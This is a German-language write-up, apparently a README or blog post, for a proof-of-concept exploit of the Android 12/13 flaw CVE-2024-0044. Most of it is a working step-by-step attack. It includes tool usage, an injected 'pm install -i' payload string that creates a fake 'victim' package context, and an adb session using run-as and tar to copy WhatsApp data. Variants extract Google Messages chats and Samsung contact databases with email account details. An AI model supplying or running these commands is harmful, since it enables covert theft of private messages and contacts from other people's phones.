
CVE-2024-0044: eine als "run-as any app" bekannte Schwachstelle mit hohem Schweregrad, die Android-Versionen 12 und 13 betrifft.
CVE-2024-0044, identifiziert in der createSessionInternal-Funktion der Datei PackageInstallerService.java, ist eine Schwachstelle mit hohem Schweregrad, die Android-Versionen 12 und 13 betrifft. Diese Schwachstelle ermöglicht es einem Angreifer, einen „run-as any app“-Angriff durchzuführen, der zu einer lokalen Erhöhung von Privilegien führt, ohne dass eine Benutzerinteraktion erforderlich ist. Das Problem entsteht aufgrund einer unzureichenden Eingabevalidierung innerhalb der createSessionInternal-Funktion. Ein Angreifer kann dies ausnutzen, indem er den Sitzungserstellungsprozess manipuliert, möglicherweise unbefugten Zugriff auf sensible Daten erlangt und unbefugte Aktionen auf dem betroffenen Gerät durchführt.
Der Exploit wurde von Meta security entdeckt.
Der Proof of Concept wurde von Tiny hack zusammengefasst und geteilt.
Details zum Sicherheitspatch finden Sie im Android security bulletin.
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P wird verwendet, um den Zielpaketnamen anzugeben, unter dem Sie ausgeführt werden möchten.
-A gibt die APK-Datei an, die auf das Gerät übertragen werden soll.
Führen Sie das Tool aus:
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
Eine Datei payload.txt wie diese wird generiert:
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success-Meldung angezeigt wird.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
Erstellen Sie ein temporäres Verzeichnis: mkdir /data/local/tmp/wa/
Erstellen Sie einen Platzhalter für eine Tar-Datei: touch /data/local/tmp/wa/wa.tar
Setzen Sie weitreichende Berechtigungen: chmod -R 0777 /data/local/tmp/wa/, um sicherzustellen, dass jeder Benutzer in diesem Verzeichnis lesen, schreiben und ausführen kann.
Wechseln Sie den Benutzerkontext: run-as victim, um dieselben Berechtigungen wie der Benutzer „victim“ zu erhalten.
Archivieren Sie die Daten der Zielanwendung: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, um ein Tar-Archiv des WhatsApp-Datenverzeichnisses zu erstellen.
adb pull /data/local/tmp/wa/wa.tar
Sie können die Daten mit 7z oder einem anderen Tool extrahieren.
Sie können den Whatsapp chat exporter verwenden, um sie in HTML zu konvertieren.
Dies ermöglicht es Ihnen, WhatsApp-Daten ohne Root-Zugriff auf Ihrem Gerät zu erhalten.
Ändern Sie einfach den Paketnamen wie folgt:
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
Befolgen Sie die obigen Anweisungen und entpacken Sie nach dem Abrufen der Datei wa.tar diese und öffnen Sie die Unterhaltungen in com.google.android.apps.messaging/databases/bugle_db mit sqlitebrowser oder einem anderen Tool.
Getestet für Samsung-Geräte. Überprüfen Sie für andere Geräte den Paketnamen des Kontaktanbieters.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
Befolgen Sie die obigen Anweisungen und entpacken Sie nach dem Abrufen der Datei wa.tar diese und öffnen Sie die Kontakte in com.samsung.android.providers.contacts/databases/contacts2.db mit sqlitebrowser oder einem anderen Tool. Die DB-Datei enthält alle Informationen zu den E-Mail-Konten des Benutzers zusammen mit der Kontaktliste.